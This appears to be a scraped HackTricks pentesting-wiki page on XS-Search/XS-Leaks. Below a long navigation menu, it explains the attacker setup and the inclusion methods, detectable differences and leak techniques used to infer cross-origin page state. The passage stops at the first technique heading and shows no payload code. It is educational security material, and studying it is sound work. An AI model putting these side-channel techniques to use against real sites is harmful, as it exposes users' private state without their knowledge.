🤖
hacktricks
  • 👾Welcome!
    • HackTricks
    • HackTricks Values & FAQ
    • About the author
  • 🤩Generic Methodologies & Resources
    • Pentesting Methodology
    • External Recon Methodology
      • Wide Source Code Search
      • Github Dorks & Leaks
    • Pentesting Network
      • DHCPv6
      • EIGRP Attacks
      • GLBP & HSRP Attacks
      • IDS and IPS Evasion
      • Lateral VLAN Segmentation Bypass
      • Network Protocols Explained (ESP)
      • Nmap Summary (ESP)
      • Pentesting IPv6
      • WebRTC DoS
      • Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
      • Spoofing SSDP and UPnP Devices with EvilSSDP
    • Pentesting Wifi
      • Evil Twin EAP-TLS
    • Phishing Methodology
      • Clone a Website
      • Detecting Phishing
      • Phishing Files & Documents
    • Basic Forensic Methodology
      • Baseline Monitoring
      • Anti-Forensic Techniques
      • Docker Forensics
      • Image Acquisition & Mount
      • Linux Forensics
      • Malware Analysis
      • Memory dump analysis
        • Volatility - CheatSheet
      • Partitions/File Systems/Carving
        • File/Data Carving & Recovery Tools
      • Pcap Inspection
        • DNSCat pcap analysis
        • Suricata & Iptables cheatsheet
        • USB Keystrokes
        • Wifi Pcap Analysis
        • Wireshark tricks
      • Specific Software/File-Type Tricks
        • Decompile compiled python binaries (exe, elf) - Retreive from .pyc
        • Browser Artifacts
        • Deofuscation vbs (cscript.exe)
        • Local Cloud Storage
        • Office file analysis
        • PDF File analysis
        • PNG tricks
        • Video and Audio file analysis
        • ZIPs tricks
      • Windows Artifacts
        • Interesting Windows Registry Keys
    • Brute Force - CheatSheet
    • Python Sandbox Escape & Pyscript
      • Bypass Python sandboxes
        • LOAD_NAME / LOAD_CONST opcode OOB Read
      • Class Pollution (Python's Prototype Pollution)
      • Python Internal Read Gadgets
      • Pyscript
      • venv
      • Web Requests
      • Bruteforce hash (few chars)
      • Basic Python
    • Exfiltration
    • Tunneling and Port Forwarding
    • Threat Modeling
    • Search Exploits
    • Reverse Shells (Linux, Windows, MSFVenom)
      • MSFVenom - CheatSheet
      • Reverse Shells - Windows
      • Reverse Shells - Linux
      • Full TTYs
  • 🐧Linux Hardening
    • Checklist - Linux Privilege Escalation
    • Linux Privilege Escalation
      • Arbitrary File Write to Root
      • Cisco - vmanage
      • Containerd (ctr) Privilege Escalation
      • D-Bus Enumeration & Command Injection Privilege Escalation
      • Docker Security
        • Abusing Docker Socket for Privilege Escalation
        • AppArmor
        • AuthZ& AuthN - Docker Access Authorization Plugin
        • CGroups
        • Docker --privileged
        • Docker Breakout / Privilege Escalation
          • release_agent exploit - Relative Paths to PIDs
          • Docker release_agent cgroups escape
          • Sensitive Mounts
        • Namespaces
          • CGroup Namespace
          • IPC Namespace
          • PID Namespace
          • Mount Namespace
          • Network Namespace
          • Time Namespace
          • User Namespace
          • UTS Namespace
        • Seccomp
        • Weaponizing Distroless
      • Escaping from Jails
      • euid, ruid, suid
      • Interesting Groups - Linux Privesc
        • lxd/lxc Group - Privilege escalation
      • Logstash
      • ld.so privesc exploit example
      • Linux Active Directory
      • Linux Capabilities
      • NFS no_root_squash/no_all_squash misconfiguration PE
      • Node inspector/CEF debug abuse
      • Payloads to execute
      • RunC Privilege Escalation
      • SELinux
      • Socket Command Injection
      • Splunk LPE and Persistence
      • SSH Forward Agent exploitation
      • Wildcards Spare tricks
    • Useful Linux Commands
    • Bypass Linux Restrictions
      • Bypass FS protections: read-only / no-exec / Distroless
        • DDexec / EverythingExec
    • Linux Environment Variables
    • Linux Post-Exploitation
      • PAM - Pluggable Authentication Modules
    • FreeIPA Pentesting
  • 🍏MacOS Hardening
    • macOS Security & Privilege Escalation
      • macOS Apps - Inspecting, debugging and Fuzzing
        • Objects in memory
        • Introduction to x64
        • Introduction to ARM64v8
      • macOS AppleFS
      • macOS Bypassing Firewalls
      • macOS Defensive Apps
      • macOS GCD - Grand Central Dispatch
      • macOS Kernel & System Extensions
        • macOS IOKit
        • macOS Kernel Extensions & Debugging
        • macOS Kernel Vulnerabilities
        • macOS System Extensions
      • macOS Network Services & Protocols
      • macOS File Extension & URL scheme app handlers
      • macOS Files, Folders, Binaries & Memory
        • macOS Bundles
        • macOS Installers Abuse
        • macOS Memory Dumping
        • macOS Sensitive Locations & Interesting Daemons
        • macOS Universal binaries & Mach-O Format
      • macOS Objective-C
      • macOS Privilege Escalation
      • macOS Process Abuse
        • macOS Dirty NIB
        • macOS Chromium Injection
        • macOS Electron Applications Injection
        • macOS Function Hooking
        • macOS IPC - Inter Process Communication
          • macOS MIG - Mach Interface Generator
          • macOS XPC
            • macOS XPC Authorization
            • macOS XPC Connecting Process Check
              • macOS PID Reuse
              • macOS xpc_connection_get_audit_token Attack
          • macOS Thread Injection via Task port
        • macOS Java Applications Injection
        • macOS Library Injection
          • macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES
          • macOS Dyld Process
        • macOS Perl Applications Injection
        • macOS Python Applications Injection
        • macOS Ruby Applications Injection
        • macOS .Net Applications Injection
      • macOS Security Protections
        • macOS Gatekeeper / Quarantine / XProtect
        • macOS Launch/Environment Constraints & Trust Cache
        • macOS Sandbox
          • macOS Default Sandbox Debug
          • macOS Sandbox Debug & Bypass
            • macOS Office Sandbox Bypasses
        • macOS Authorizations DB & Authd
        • macOS SIP
        • macOS TCC
          • macOS Apple Events
          • macOS TCC Bypasses
            • macOS Apple Scripts
          • macOS TCC Payloads
        • macOS Dangerous Entitlements & TCC perms
        • macOS - AMFI - AppleMobileFileIntegrity
        • macOS MACF - Mandatory Access Control Framework
        • macOS Code Signing
        • macOS FS Tricks
          • macOS xattr-acls extra stuff
      • macOS Users & External Accounts
    • macOS Red Teaming
      • macOS MDM
        • Enrolling Devices in Other Organisations
        • macOS Serial Number
      • macOS Keychain
    • macOS Useful Commands
    • macOS Auto Start
  • 🪟Windows Hardening
    • Checklist - Local Windows Privilege Escalation
    • Windows Local Privilege Escalation
      • Abusing Tokens
      • Access Tokens
      • ACLs - DACLs/SACLs/ACEs
      • AppendData/AddSubdirectory permission over service registry
      • Create MSI with WIX
      • COM Hijacking
      • Dll Hijacking
        • Writable Sys Path +Dll Hijacking Privesc
      • DPAPI - Extracting Passwords
      • From High Integrity to SYSTEM with Name Pipes
      • Integrity Levels
      • JuicyPotato
      • Leaked Handle Exploitation
      • MSI Wrapper
      • Named Pipe Client Impersonation
      • Privilege Escalation with Autoruns
      • RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato
      • SeDebug + SeImpersonate copy token
      • SeImpersonate from High To System
      • Windows C Payloads
    • Active Directory Methodology
      • Abusing Active Directory ACLs/ACEs
        • Shadow Credentials
      • AD Certificates
        • AD CS Account Persistence
        • AD CS Domain Escalation
        • AD CS Domain Persistence
        • AD CS Certificate Theft
      • AD information in printers
      • AD DNS Records
      • ASREPRoast
      • BloodHound & Other AD Enum Tools
      • Constrained Delegation
      • Custom SSP
      • DCShadow
      • DCSync
      • Diamond Ticket
      • DSRM Credentials
      • External Forest Domain - OneWay (Inbound) or bidirectional
      • External Forest Domain - One-Way (Outbound)
      • Golden Ticket
      • Kerberoast
      • Kerberos Authentication
      • Kerberos Double Hop Problem
      • LAPS
      • MSSQL AD Abuse
      • Over Pass the Hash/Pass the Key
      • Pass the Ticket
      • Password Spraying / Brute Force
      • PrintNightmare
      • Force NTLM Privileged Authentication
      • Privileged Groups
      • RDP Sessions Abuse
      • Resource-based Constrained Delegation
      • Security Descriptors
      • SID-History Injection
      • Silver Ticket
      • Skeleton Key
      • Unconstrained Delegation
    • Windows Security Controls
      • UAC - User Account Control
    • NTLM
      • Places to steal NTLM creds
    • Lateral Movement
      • AtExec / SchtasksExec
      • DCOM Exec
      • PsExec/Winexec/ScExec
      • SmbExec/ScExec
      • WinRM
      • WmiExec
    • Pivoting to the Cloud
    • Stealing Windows Credentials
      • Windows Credentials Protections
      • Mimikatz
      • WTS Impersonator
    • Basic Win CMD for Pentesters
    • Basic PowerShell for Pentesters
      • PowerView/SharpView
    • Antivirus (AV) Bypass
  • 📱Mobile Pentesting
    • Android APK Checklist
    • Android Applications Pentesting
      • Android Applications Basics
      • Android Task Hijacking
      • ADB Commands
      • APK decompilers
      • AVD - Android Virtual Device
      • Bypass Biometric Authentication (Android)
      • content:// protocol
      • Drozer Tutorial
        • Exploiting Content Providers
      • Exploiting a debuggeable application
      • Frida Tutorial
        • Frida Tutorial 1
        • Frida Tutorial 2
        • Frida Tutorial 3
        • Objection Tutorial
      • Google CTF 2018 - Shall We Play a Game?
      • Install Burp Certificate
      • Intent Injection
      • Make APK Accept CA Certificate
      • Manual DeObfuscation
      • React Native Application
      • Reversing Native Libraries
      • Smali - Decompiling/[Modifying]/Compiling
      • Spoofing your location in Play Store
      • Tapjacking
      • Webview Attacks
    • iOS Pentesting Checklist
    • iOS Pentesting
      • iOS App Extensions
      • iOS Basics
      • iOS Basic Testing Operations
      • iOS Burp Suite Configuration
      • iOS Custom URI Handlers / Deeplinks / Custom Schemes
      • iOS Extracting Entitlements From Compiled Application
      • iOS Frida Configuration
      • iOS Hooking With Objection
      • iOS Protocol Handlers
      • iOS Serialisation and Encoding
      • iOS Testing Environment
      • iOS UIActivity Sharing
      • iOS Universal Links
      • iOS UIPasteboard
      • iOS WebViews
    • Cordova Apps
    • Xamarin Apps
  • 👽Network Services Pentesting
    • Pentesting JDWP - Java Debug Wire Protocol
    • Pentesting Printers
    • Pentesting SAP
    • Pentesting VoIP
      • Basic VoIP Protocols
        • SIP (Session Initiation Protocol)
    • Pentesting Remote GdbServer
    • 7/tcp/udp - Pentesting Echo
    • 21 - Pentesting FTP
      • FTP Bounce attack - Scan
      • FTP Bounce - Download 2ºFTP file
    • 22 - Pentesting SSH/SFTP
    • 23 - Pentesting Telnet
    • 25,465,587 - Pentesting SMTP/s
      • SMTP Smuggling
      • SMTP - Commands
    • 43 - Pentesting WHOIS
    • 49 - Pentesting TACACS+
    • 53 - Pentesting DNS
    • 69/UDP TFTP/Bittorrent-tracker
    • 79 - Pentesting Finger
    • 80,443 - Pentesting Web Methodology
      • 403 & 401 Bypasses
      • AEM - Adobe Experience Cloud
      • Angular
      • Apache
      • Artifactory Hacking guide
      • Bolt CMS
      • Buckets
        • Firebase Database
      • CGI
      • DotNetNuke (DNN)
      • Drupal
        • Drupal RCE
      • Electron Desktop Apps
        • Electron contextIsolation RCE via preload code
        • Electron contextIsolation RCE via Electron internal code
        • Electron contextIsolation RCE via IPC
      • Flask
      • NodeJS Express
      • Git
      • Golang
      • GWT - Google Web Toolkit
      • Grafana
      • GraphQL
      • H2 - Java SQL database
      • IIS - Internet Information Services
      • ImageMagick Security
      • JBOSS
      • Jira & Confluence
      • Joomla
      • JSP
      • Laravel
      • Moodle
      • Nginx
      • NextJS
      • PHP Tricks
        • PHP - Useful Functions & disable_functions/open_basedir bypass
          • disable_functions bypass - php-fpm/FastCGI
          • disable_functions bypass - dl function
          • disable_functions bypass - PHP 7.0-7.4 (*nix only)
          • disable_functions bypass - Imagick <= 3.3.0 PHP >= 5.4 Exploit
          • disable_functions - PHP 5.x Shellshock Exploit
          • disable_functions - PHP 5.2.4 ionCube extension Exploit
          • disable_functions bypass - PHP <= 5.2.9 on windows
          • disable_functions bypass - PHP 5.2.4 and 5.2.5 PHP cURL
          • disable_functions bypass - PHP safe_mode bypass via proc_open() and custom environment Exploit
          • disable_functions bypass - PHP Perl Extension Safe_mode Bypass Exploit
          • disable_functions bypass - PHP 5.2.3 - Win32std ext Protections Bypass
          • disable_functions bypass - PHP 5.2 - FOpen Exploit
          • disable_functions bypass - via mem
          • disable_functions bypass - mod_cgi
          • disable_functions bypass - PHP 4 >= 4.2.0, PHP 5 pcntl_exec
        • PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])
        • PHP SSRF
      • PrestaShop
      • Python
      • Rocket Chat
      • Special HTTP headers
      • Source code Review / SAST Tools
      • Spring Actuators
      • Symfony
      • Tomcat
        • Basic Tomcat Info
      • Uncovering CloudFlare
      • VMWare (ESX, VCenter...)
      • Web API Pentesting
      • WebDav
      • Werkzeug / Flask Debug
      • Wordpress
    • 88tcp/udp - Pentesting Kerberos
      • Harvesting tickets from Windows
      • Harvesting tickets from Linux
    • 110,995 - Pentesting POP
    • 111/TCP/UDP - Pentesting Portmapper
    • 113 - Pentesting Ident
    • 123/udp - Pentesting NTP
    • 135, 593 - Pentesting MSRPC
    • 137,138,139 - Pentesting NetBios
    • 139,445 - Pentesting SMB
      • rpcclient enumeration
    • 143,993 - Pentesting IMAP
    • 161,162,10161,10162/udp - Pentesting SNMP
      • Cisco SNMP
      • SNMP RCE
    • 194,6667,6660-7000 - Pentesting IRC
    • 264 - Pentesting Check Point FireWall-1
    • 389, 636, 3268, 3269 - Pentesting LDAP
    • 500/udp - Pentesting IPsec/IKE VPN
    • 502 - Pentesting Modbus
    • 512 - Pentesting Rexec
    • 513 - Pentesting Rlogin
    • 514 - Pentesting Rsh
    • 515 - Pentesting Line Printer Daemon (LPD)
    • 548 - Pentesting Apple Filing Protocol (AFP)
    • 554,8554 - Pentesting RTSP
    • 623/UDP/TCP - IPMI
    • 631 - Internet Printing Protocol(IPP)
    • 700 - Pentesting EPP
    • 873 - Pentesting Rsync
    • 1026 - Pentesting Rusersd
    • 1080 - Pentesting Socks
    • 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP
    • 1414 - Pentesting IBM MQ
    • 1433 - Pentesting MSSQL - Microsoft SQL Server
      • Types of MSSQL Users
    • 1521,1522-1529 - Pentesting Oracle TNS Listener
    • 1723 - Pentesting PPTP
    • 1883 - Pentesting MQTT (Mosquitto)
    • 2049 - Pentesting NFS Service
    • 2301,2381 - Pentesting Compaq/HP Insight Manager
    • 2375, 2376 Pentesting Docker
    • 3128 - Pentesting Squid
    • 3260 - Pentesting ISCSI
    • 3299 - Pentesting SAPRouter
    • 3306 - Pentesting Mysql
    • 3389 - Pentesting RDP
    • 3632 - Pentesting distcc
    • 3690 - Pentesting Subversion (svn server)
    • 3702/UDP - Pentesting WS-Discovery
    • 4369 - Pentesting Erlang Port Mapper Daemon (epmd)
    • 4786 - Cisco Smart Install
    • 4840 - OPC Unified Architecture
    • 5000 - Pentesting Docker Registry
    • 5353/UDP Multicast DNS (mDNS) and DNS-SD
    • 5432,5433 - Pentesting Postgresql
    • 5439 - Pentesting Redshift
    • 5555 - Android Debug Bridge
    • 5601 - Pentesting Kibana
    • 5671,5672 - Pentesting AMQP
    • 5800,5801,5900,5901 - Pentesting VNC
    • 5984,6984 - Pentesting CouchDB
    • 5985,5986 - Pentesting WinRM
    • 5985,5986 - Pentesting OMI
    • 6000 - Pentesting X11
    • 6379 - Pentesting Redis
    • 8009 - Pentesting Apache JServ Protocol (AJP)
    • 8086 - Pentesting InfluxDB
    • 8089 - Pentesting Splunkd
    • 8333,18333,38333,18444 - Pentesting Bitcoin
    • 9000 - Pentesting FastCGI
    • 9001 - Pentesting HSQLDB
    • 9042/9160 - Pentesting Cassandra
    • 9100 - Pentesting Raw Printing (JetDirect, AppSocket, PDL-datastream)
    • 9200 - Pentesting Elasticsearch
    • 10000 - Pentesting Network Data Management Protocol (ndmp)
    • 11211 - Pentesting Memcache
      • Memcache Commands
    • 15672 - Pentesting RabbitMQ Management
    • 24007,24008,24009,49152 - Pentesting GlusterFS
    • 27017,27018 - Pentesting MongoDB
    • 44134 - Pentesting Tiller (Helm)
    • 44818/UDP/TCP - Pentesting EthernetIP
    • 47808/udp - Pentesting BACNet
    • 50030,50060,50070,50075,50090 - Pentesting Hadoop
  • 🕸️Pentesting Web
    • Web Vulnerabilities Methodology
    • Reflecting Techniques - PoCs and Polygloths CheatSheet
      • Web Vulns List
    • 2FA/MFA/OTP Bypass
    • Account Takeover
    • Browser Extension Pentesting Methodology
      • BrowExt - ClickJacking
      • BrowExt - permissions & host_permissions
      • BrowExt - XSS Example
    • Bypass Payment Process
    • Captcha Bypass
    • Cache Poisoning and Cache Deception
      • Cache Poisoning via URL discrepancies
      • Cache Poisoning to DoS
    • Clickjacking
    • Client Side Template Injection (CSTI)
    • Client Side Path Traversal
    • Command Injection
    • Content Security Policy (CSP) Bypass
      • CSP bypass: self + 'unsafe-inline' with Iframes
    • Cookies Hacking
      • Cookie Tossing
      • Cookie Jar Overflow
      • Cookie Bomb
    • CORS - Misconfigurations & Bypass
    • CRLF (%0D%0A) Injection
    • CSRF (Cross Site Request Forgery)
    • Dangling Markup - HTML scriptless injection
      • SS-Leaks
    • Dependency Confusion
    • Deserialization
      • NodeJS - __proto__ & prototype Pollution
        • Client Side Prototype Pollution
        • Express Prototype Pollution Gadgets
        • Prototype Pollution to RCE
      • Java JSF ViewState (.faces) Deserialization
      • Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner
      • Basic Java Deserialization (ObjectInputStream, readObject)
      • PHP - Deserialization + Autoload Classes
      • CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep
      • Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
      • Exploiting __VIEWSTATE knowing the secrets
      • Exploiting __VIEWSTATE without knowing the secrets
      • Python Yaml Deserialization
      • JNDI - Java Naming and Directory Interface & Log4Shell
      • Ruby Class Pollution
    • Domain/Subdomain takeover
    • Email Injections
    • File Inclusion/Path traversal
      • phar:// deserialization
      • LFI2RCE via PHP Filters
      • LFI2RCE via Nginx temp files
      • LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
      • LFI2RCE via Segmentation Fault
      • LFI2RCE via phpinfo()
      • LFI2RCE Via temp file uploads
      • LFI2RCE via Eternal waiting
      • LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
    • File Upload
      • PDF Upload - XXE and CORS bypass
    • Formula/CSV/Doc/LaTeX/GhostScript Injection
    • gRPC-Web Pentest
    • HTTP Connection Contamination
    • HTTP Connection Request Smuggling
    • HTTP Request Smuggling / HTTP Desync Attack
      • Browser HTTP Request Smuggling
      • Request Smuggling in HTTP/2 Downgrades
    • HTTP Response Smuggling / Desync
    • Upgrade Header Smuggling
    • hop-by-hop headers
    • IDOR
    • JWT Vulnerabilities (Json Web Tokens)
    • LDAP Injection
    • Login Bypass
      • Login bypass List
    • NoSQL injection
    • OAuth to Account takeover
    • Open Redirect
    • ORM Injection
    • Parameter Pollution
    • Phone Number Injections
    • PostMessage Vulnerabilities
      • Blocking main page to steal postmessage
      • Bypassing SOP with Iframes - 1
      • Bypassing SOP with Iframes - 2
      • Steal postmessage modifying iframe location
    • Proxy / WAF Protections Bypass
    • Race Condition
    • Rate Limit Bypass
    • Registration & Takeover Vulnerabilities
    • Regular expression Denial of Service - ReDoS
    • Reset/Forgotten Password Bypass
    • Reverse Tab Nabbing
    • SAML Attacks
      • SAML Basics
    • Server Side Inclusion/Edge Side Inclusion Injection
    • SQL Injection
      • MS Access SQL Injection
      • MSSQL Injection
      • MySQL injection
        • MySQL File priv to SSRF/RCE
      • Oracle injection
      • Cypher Injection (neo4j)
      • PostgreSQL injection
        • dblink/lo_import data exfiltration
        • PL/pgSQL Password Bruteforce
        • Network - Privesc, Port Scanner and NTLM chanllenge response disclosure
        • Big Binary Files Upload (PostgreSQL)
        • RCE with PostgreSQL Languages
        • RCE with PostgreSQL Extensions
      • SQLMap - CheatSheet
        • Second Order Injection - SQLMap
    • SSRF (Server Side Request Forgery)
      • URL Format Bypass
      • SSRF Vulnerable Platforms
      • Cloud SSRF
    • SSTI (Server Side Template Injection)
      • EL - Expression Language
      • Jinja2 SSTI
    • Timing Attacks
    • Unicode Injection
      • Unicode Normalization
    • UUID Insecurities
    • WebSocket Attacks
    • Web Tool - WFuzz
    • XPATH injection
    • XSLT Server Side Injection (Extensible Stylesheet Language Transformations)
    • XXE - XEE - XML External Entity
    • XSS (Cross Site Scripting)
      • Abusing Service Workers
      • Chrome Cache to XSS
      • Debugging Client Side JS
      • Dom Clobbering
      • DOM Invader
      • DOM XSS
      • Iframes in XSS, CSP and SOP
      • Integer Overflow
      • JS Hoisting
      • Misc JS Tricks & Relevant Info
      • PDF Injection
      • Server Side XSS (Dynamic PDF)
      • Shadow DOM
      • SOME - Same Origin Method Execution
      • Sniff Leak
      • Steal Info JS
      • XSS in Markdown
    • XSSI (Cross-Site Script Inclusion)
    • XS-Search/XS-Leaks
      • Connection Pool Examples
      • Connection Pool by Destination Example
      • Cookie Bomb + Onerror XS Leak
      • URL Max Length - Client Side
      • performance.now example
      • performance.now + Force heavy task
      • Event Loop Blocking + Lazy images
      • JavaScript Execution XS Leak
      • CSS Injection
        • CSS Injection Code
    • Iframe Traps
  • ⛈️Cloud Security
    • Pentesting Kubernetes
    • Pentesting Cloud (AWS, GCP, Az...)
    • Pentesting CI/CD (Github, Jenkins, Terraform...)
  • 😎Hardware/Physical Access
    • Physical Attacks
    • Escaping from KIOSKs
    • Firmware Analysis
      • Bootloader testing
      • Firmware Integrity
  • 🎯Binary Exploitation
    • Basic Stack Binary Exploitation Methodology
      • ELF Basic Information
      • Exploiting Tools
        • PwnTools
    • Stack Overflow
      • Pointer Redirecting
      • Ret2win
        • Ret2win - arm64
      • Stack Shellcode
        • Stack Shellcode - arm64
      • Stack Pivoting - EBP2Ret - EBP chaining
      • Uninitialized Variables
    • ROP - Return Oriented Programing
      • BROP - Blind Return Oriented Programming
      • Ret2csu
      • Ret2dlresolve
      • Ret2esp / Ret2reg
      • Ret2lib
        • Leaking libc address with ROP
          • Leaking libc - template
        • One Gadget
        • Ret2lib + Printf leak - arm64
      • Ret2syscall
        • Ret2syscall - ARM64
      • Ret2vDSO
      • SROP - Sigreturn-Oriented Programming
        • SROP - ARM64
    • Array Indexing
    • Integer Overflow
    • Format Strings
      • Format Strings - Arbitrary Read Example
      • Format Strings Template
    • Libc Heap
      • Bins & Memory Allocations
      • Heap Memory Functions
        • free
        • malloc & sysmalloc
        • unlink
        • Heap Functions Security Checks
      • Use After Free
        • First Fit
      • Double Free
      • Overwriting a freed chunk
      • Heap Overflow
      • Unlink Attack
      • Fast Bin Attack
      • Unsorted Bin Attack
      • Large Bin Attack
      • Tcache Bin Attack
      • Off by one overflow
      • House of Spirit
      • House of Lore | Small bin Attack
      • House of Einherjar
      • House of Force
      • House of Orange
      • House of Rabbit
      • House of Roman
    • Common Binary Exploitation Protections & Bypasses
      • ASLR
        • Ret2plt
        • Ret2ret & Reo2pop
      • CET & Shadow Stack
      • Libc Protections
      • Memory Tagging Extension (MTE)
      • No-exec / NX
      • PIE
        • BF Addresses in the Stack
      • Relro
      • Stack Canaries
        • BF Forked & Threaded Stack Canaries
        • Print Stack Canary
    • Write What Where 2 Exec
      • WWW2Exec - atexit()
      • WWW2Exec - .dtors & .fini_array
      • WWW2Exec - GOT/PLT
      • WWW2Exec - __malloc_hook & __free_hook
    • Common Exploiting Problems
    • Windows Exploiting (Basic Guide - OSCP lvl)
    • iOS Exploiting
  • 🔩Reversing
    • Reversing Tools & Basic Methods
      • Angr
        • Angr - Examples
      • Z3 - Satisfiability Modulo Theories (SMT)
      • Cheat Engine
      • Blobrunner
    • Common API used in Malware
    • Word Macros
  • 🔮Crypto & Stego
    • Cryptographic/Compression Algorithms
      • Unpacking binaries
    • Certificates
    • Cipher Block Chaining CBC-MAC
    • Crypto CTFs Tricks
    • Electronic Code Book (ECB)
    • Hash Length Extension Attack
    • Padding Oracle
    • RC4 - Encrypt&Decrypt
    • Stego Tricks
    • Esoteric languages
    • Blockchain & Crypto Currencies
  • 🦂C2
    • Salseo
    • ICMPsh
    • Cobalt Strike
  • ✍️TODO
    • Other Big References
    • Rust Basics
    • More Tools
    • MISC
    • Pentesting DNS
    • Hardware Hacking
      • I2C
      • UART
      • Radio
      • JTAG
      • SPI
    • Industrial Control Systems Hacking
      • Modbus Protocol
    • Radio Hacking
      • Pentesting RFID
      • Infrared
      • Sub-GHz RF
      • iButton
      • Flipper Zero
        • FZ - NFC
        • FZ - Sub-GHz
        • FZ - Infrared
        • FZ - iButton
        • FZ - 125kHz RFID
      • Proxmark 3
      • FISSURE - The RF Framework
      • Low-Power Wide Area Network
      • Pentesting BLE - Bluetooth Low Energy
    • Industrial Control Systems Hacking
    • Test LLMs
    • LLM Training
      • 0. Basic LLM Concepts
      • 1. Tokenizing
      • 2. Data Sampling
      • 3. Token Embeddings
      • 4. Attention Mechanisms
      • 5. LLM Architecture
      • 6. Pre-training & Loading models
      • 7.0. LoRA Improvements in fine-tuning
      • 7.1. Fine-Tuning for Classification
      • 7.2. Fine-Tuning to follow instructions
    • Burp Suite
    • Other Web Tricks
    • Interesting HTTP
    • Android Forensics
    • TR-069
    • 6881/udp - Pentesting BitTorrent
    • Online Platforms with API
    • Stealing Sensitive Information Disclosure from a Web
    • Post Exploitation
    • Investment Terms
    • Cookies Policy
Powered by GitBook
On this page
  • Basic Information
  • Detectable Differences
  • Inclusion Methods
  • Leak Techniques
  • XSinator Tool & Paper
  • Timing Based techniques
  • Event Handler Techniques
  • Onload/Onerror
  • Onload Timing
  • unload/beforeunload Timing
  • Sandboxed Frame Timing + onload
  • #ID + error + onload
  • Javascript Execution
  • CORB - Onerror
  • onblur
  • postMessage Broadcasts
  • Global Limits Techniques
  • WebSocket API
  • Payment API
  • Timing the Event Loop
  • Busy Event Loop
  • Connection Pool
  • Connection Pool by Destination
  • Performance API Techniques
  • Error Leak
  • Style Reload Error
  • Request Merging Error
  • Empty Page Leak
  • XSS-Auditor Leak
  • X-Frame Leak
  • Download Detection
  • Redirect Start Leak
  • Duration Redirect Leak
  • CORP Leak
  • Service Worker
  • Cache
  • Network Duration
  • Error Messages Technique
  • Media Error
  • CORS Error
  • SRI Error
  • CSP Violation/Detection
  • Cache
  • CSP Directive
  • CORP
  • CORB
  • CORS error on Origin Reflection misconfiguration
  • Readable Attributes Technique
  • Fetch Redirect
  • COOP
  • URL Max Length - Server Side
  • URL Max Length - Client Side
  • Max Redirects
  • History Length
  • History Length with same URL
  • Frame Counting
  • HTMLElements
  • Information Exposed by HTML Elements
  • CSS Property
  • CSS History
  • ContentDocument X-Frame Leak
  • Download Detection
  • Partitioned HTTP Cache Bypass
  • Manual Redirect
  • Fetch with AbortController
  • Script Pollution
  • Service Workers
  • Fetch Timing
  • Cross-Window Timing
  • With HTML or Re Injection
  • Dangling Markup
  • Image Lazy Loading
  • Image Lazy Loading Time Based
  • ReDoS
  • CSS ReDoS
  • CSS Injection
  • Defenses
  • References
Edit on GitHub
  1. Pentesting Web

XS-Search/XS-Leaks

PreviousXSSI (Cross-Site Script Inclusion)NextConnection Pool Examples

Last updated 7 months ago

Use to easily build and automate workflows powered by the world's most advanced community tools. Get Access Today:

Support HackTricks

Basic Information

XS-Search is a method used for extracting cross-origin information by leveraging side channel vulnerabilities.

Key components involved in this attack include:

  • Vulnerable Web: The target website from which information is intended to be extracted.

  • Attacker's Web: The malicious website created by the attacker, which the victim visits, hosting the exploit.

  • Inclusion Method: The technique employed to incorporate the Vulnerable Web into the Attacker's Web (e.g., window.open, iframe, fetch, HTML tag with href, etc.).

  • Leak Technique: Techniques used to discern differences in the state of the Vulnerable Web based on information gathered through the inclusion method.

  • States: The two potential conditions of the Vulnerable Web, which the attacker aims to distinguish.

  • Detectable Differences: Observable variations that the attacker relies on to infer the state of the Vulnerable Web.

Detectable Differences

Several aspects can be analyzed to differentiate the states of the Vulnerable Web:

  • Status Code: Distinguishing between various HTTP response status codes cross-origin, like server errors, client errors, or authentication errors.

  • API Usage: Identifying usage of Web APIs across pages, revealing whether a cross-origin page employs a specific JavaScript Web API.

  • Redirects: Detecting navigations to different pages, not just HTTP redirects but also those triggered by JavaScript or HTML.

  • Page Content: Observing variations in the HTTP response body or in page sub-resources, such as the number of embedded frames or size disparities in images.

  • HTTP Header: Noting the presence or possibly the value of a specific HTTP response header, including headers like X-Frame-Options, Content-Disposition, and Cross-Origin-Resource-Policy.

  • Timing: Noticing consistent time disparities between the two states.

Inclusion Methods

  • Frames: Elements such as iframe, object, and embed can embed HTML resources directly into the attacker's page. If the page lacks framing protection, JavaScript can access the framed resource’s window object via the contentWindow property.

  • Pop-ups: The window.open method opens a resource in a new tab or window, providing a window handle for JavaScript to interact with methods and properties following the SOP. Pop-ups, often used in single sign-on, circumvent framing and cookie restrictions of a target resource. However, modern browsers restrict pop-up creation to certain user actions.

  • JavaScript Requests: JavaScript permits direct requests to target resources using XMLHttpRequests or the Fetch API. These methods offer precise control over the request, like opting to follow HTTP redirects.

Leak Techniques

  • Event Handler: A classical leak technique in XS-Leaks, where event handlers like onload and onerror provide insights about resource loading success or failure.

  • Error Messages: JavaScript exceptions or special error pages can provide leak information either directly from the error message or by differentiating between its presence and absence.

  • Global Limits: Physical limitations of a browser, like memory capacity or other enforced browser limits, can signal when a threshold is reached, serving as a leak technique.

  • Global State: Detectable interactions with browsers' global states (e.g., the History interface) can be exploited. For instance, the number of entries in a browser's history can offer clues about cross-origin pages.

  • Performance API: This API provides performance details of the current page, including network timing for the document and loaded resources, enabling inferences about requested resources.

  • Readable Attributes: Some HTML attributes are readable cross-origin and can be used as a leak technique. For instance, the window.frame.length property allows JavaScript to count the frames included in a webpage cross-origin.

XSinator Tool & Paper

Excluded XS-Leaks: We had to exclude XS-Leaks that rely on service workers as they would interfere with other leaks in XSinator. Furthermore, we chose to exclude XS-Leaks that rely on misconfiguration and bugs in a specific web application. For example, CrossOrigin Resource Sharing (CORS) misconfigurations, postMessage leakage or Cross-Site Scripting. Additionally, we excluded timebased XS-Leaks since they often suffer from being slow, noisy and inaccurate.

Timing Based techniques

Some of the following techniques are going to use timing to as part of the process to detect differences in the possible states of the web pages. There are different ways to measure time in a web browser.

Event Handler Techniques

Onload/Onerror

  • Inclusion Methods: Frames, HTML Elements

  • Detectable Difference: Status Code

